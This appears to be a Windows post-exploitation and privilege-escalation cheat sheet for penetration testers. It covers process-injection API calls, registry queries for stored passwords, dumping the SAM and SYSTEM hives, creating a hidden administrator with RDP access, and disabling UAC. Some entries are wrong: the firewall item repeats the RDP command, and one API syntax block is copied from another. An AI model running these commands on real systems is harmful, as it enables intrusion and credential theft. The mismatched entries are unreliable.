Windows API Calls for Process Injection / Manipulation / Migration

Essential Win API Functions

  • OpenProcess() for opening the remote process
HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);
  • VirtualAllocEx() for allocating memory in remote process
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
  • WriteProcessMemory() for writing shellcode in a newly allocated memory and make it executable
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
  • CreateRemoteThread() for creating a new remote thread and executing the relevant code
HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
Registry Passwords – Windows Post Exploitation

What is The Windows Registry?

The Windows Registry is a hierarchical database that stores low-level settings for the Microsoft Windows operating system and for applications that opt to use the registry. The kernel, device drivers, services, Security Accounts Manager, and user interface can all use the registry. The registry also allows access to counters for profiling system performance.

Reading values from registry

C:\> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

Interesting Registries

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password" [VNC]

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" [Windows]

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" [SNMP PARAMS]

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" [Putty Plaintext Credentials]

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Windows Messages, Message Queues & The Infamous Win32 Shatter Attack

Unlike MS-DOS-based applications, Windows-based applications are event-driven. They do not make explicit function calls (such as C run-time library calls) to obtain input. Instead, they wait for the system to pass input to them.

Original Research and Pic by Brett Moore

The system passes all input for an application to the various windows in the application. Each window has a function, called a window procedure, that the system calls whenever it has input for the window. The window procedure processes the input and returns control to the system. For more information about window procedures, see Window Procedures.

If a top-level window stops responding to messages for more than several seconds, the system considers the window to be not responding. In this case, the system hides the window and replaces it with a ghost window that has the same Z order, location, size, and visual attributes. This allows the user to move it, resize it, or even close the application. However, these are the only actions available because the application is actually not responding. When in the debugger mode, the system does not generate a ghost window.

https://docs.microsoft.com/en-us/windows/desktop/winmsg/messages-and-message-queues

Attack Possibilities

  • Application runs with higher privileges
    It may be possible to escalate users privileges
  • Application disables / hides features
    It may be possible to obtain unauthorised access
  • Unauthorised application closing
    It may be possible to close applications running to monitor usage
  • Target app uses GUI text for SQL queries
    It may be possible to exploit classic SQL injection attacks
  • Target app uses GUI text for file access
     It may be possible to gain arbitrary file access

Ideas for Research

Given we know apps like messages, and messages are juicy payloads for all types of shenanigans then it’s well worth us fuzzing messaging functions. Personally, I would write simple programs that do one API call, compile it for WinAFL and fuzz it. Go deep enough and I would be truly shocked if you didn’t find anything. Below is a list of API functions to get you started with Windows Messaging.

As you can see blow Microsoft make extensive use of the messaging API for everything from keyboard input to application errors, it’s a nice delivery method when vulnerable as Bret Moore has shown over the years.

MSG msg;
BOOL bRet;

while (( bRet = GetMessage(&msg, (HWND) NULL, 0, 0)) != 0) 
{
    if (bRet == -1);
    {
        // handle the error and possibly exit
    }
    else
    { 
        if (TranslateAccelerator(hwndMain, haccl, &msg) == 0) 
        { 
            TranslateMessage(&msg); 
            DispatchMessage(&msg); 
        } 
    } 
}

Win API Message Functions

SendMessage

Sends the specified message to a window or windows. The SendMessage function calls the window procedure for the specified window and does not return until the window procedure has processed the message.

To send a message and return immediately, use the SendMessageCallback or SendNotifyMessage function. To post a message to a thread’s message queue and return immediately, use the PostMessage or PostThreadMessagefunction.

Syntax

LRESULT SendMessage(
  HWND   hWnd,
  UINT   Msg,
  WPARAM wParam,
  LPARAM lParam
);

BroadcastSystemMessage

Sends a message to the specified recipients. The recipients can be applications, installable drivers, network drivers, system-level device drivers, or any combination of these system components.

To receive additional information if the request is defined, use the BroadcastSystemMessageEx function.

Syntax

LRESULT SendMessage(
  HWND   hWnd,
  UINT   Msg,
  WPARAM wParam,
  LPARAM lParam
);

PostMessageA

Places (posts) a message in the message queue associated with the thread that created the specified window and returns without waiting for the thread to process the message.

To post a message in the message queue associated with a thread, use the PostThreadMessage function.

Syntax

C++Copy

BOOL PostMessageA(
  HWND   hWnd,
  UINT   Msg,
  WPARAM wParam,
  LPARAM lParam
);

Windows Privilege Escalation
  • Check File permissions via icacls and check if they might be writeable for everyone:icacls <filename>
  • C-Code to add a new user to the administrator group:#include <stdlib.h> /* system, NULL, EXIT_FAILURE */ // add new user to administrators group // compile with mingw32: // i586-mingw32msvc-gcc -o useradd_win useradd_win.c int main(){ int i; i=system ("net user <username> <password> /add"); i=system ("net localgroup administrators <username> /add"); return 0; }
  • Windows Exploit Suggester:
    • Get sysinfo from Windows:systeminfo > sys.info
    • Upload the sys.info file to your Linux machine
    • Update the Exploit Suggester:python windows-exploit-suggester.py -u
    • Execute it:python windows-exploit-suggester -d <databasefile> -i <sysinfofile>

Windows Privilege Escalation

  1. https://www.fuzzysecurity.com/tutorials/16.html
  2. https://toshellandback.com/2015/11/24/ms-priv-esc/
  3. https://github.com/pentestmonkey/windows-privesc-check
  4. https://blog.gdssecurity.com/labs/2014/7/11/introducing-windows-exploit-suggester.html
  5. https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
  6. https://github.com/foxglovesec/RottenPotato
  7. https://www.exumbraops.com/penetration-testing-102-windows-privilege-escalation-cheatsheet/
  8. https://www.youtube.com/watch?v=PC_iMqiuIRQ
  9. https://www.youtube.com/watch?v=kMG8IsCohHA&feature=youtu.be
  10. https://github.com/PowerShellMafia/PowerSploit
  11. https://www.blackhillsinfosec.com/?p=5824
  12. https://www.commonexploits.com/unquoted-service-paths/
  13. https://github.com/abatchy17/WindowsExploits
Useful Windows Commands

Add Admin User w/ RDP

net user <username> <password> /ADD
net localgroup administrators <username> /ADD
net localgroup "Remote Desktop Users" username /ADD

Tasks / Services

  • Start or stop a servicenet start|stop servicename
  • View the currently running tasklisttasklist
  • Kill a task by nametaskkill /F /IM task.exe
  • Kill a task by PIDTaskkill /PID PID /F

Base64 encoding / decoding

  • base64 encodecertutil -encode inputfile outputfile
  • base64 decode
    cmd certutil -decode inputfile outputfile

Dump passwords

  • via reg.exereg.exe save hklm\sam c:\sam_backup reg.exe save hklm\security c:\security_backup reg.exe save hklm\system c:\system

Security settings

  • Allow RDPreg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • Disable UACreg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system reg setval -v EnableLUA -d 0 -t REG_DWORD -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system
  • Refresh policiesgpupdate /force
  • Disable the Firewallreg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Variables

  • Show all variablesset
  • Windows TEMP folder
    %TEMP%
  • Current domain and user (if whoami is not available)echo %USERDOMAIN%\%USERNAME%

Location of files

  • Repair files like SAM
    c:\windows\repair\
  • Windows TEMP folder
    %TEMP%
  • Search for a specific file (wildcards are supported)dir /S /P "filename"
HackSys Extreme Vulnerable Driver

HackSys Extreme Vulnerable Driver is intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level.

HackSys Extreme Vulnerable Driver caters wide range of vulnerabilities ranging from simple Buffer Overflows to complex Use After Frees and Pool Overflows. This allows the researchers to explore the exploitation techniques for every implemented vulnerabilities.

Before You Start

Running from Release

hacksysteam/HackSysExtremeVulnerableDriver
HackSys Extreme Vulnerable Windows Driver. Contribute to hacksysteam/HackSysExtremeVulnerableDriver development by…github.com

Supported Windows Versions

This driver has been successfully tested on Windows XP SP3 (x86), Windows 2003 SP3 (x86) andWindows 7 SP1 (x86), but it can support Windows 8/8.1 (x86) too.

Download and Install

First Download the zip file from above. Then download OSR Driver Loader…Downloads:Driver Loader
OSR Open Systems Resources, Inc. The Windows device driver and file systems experts. Seminars – Development …www.osronline.com

Open the driver application for your architecture, then install the driver that came with the HackSys Team release.

Now we are ready to test Extreme Vulnerable Driver…

C:\>HackSysEVDExploit.exe -s -c cmd.exe

In the next post on Windows Driver exploitation we will solve the overflow challenge, stay tuned.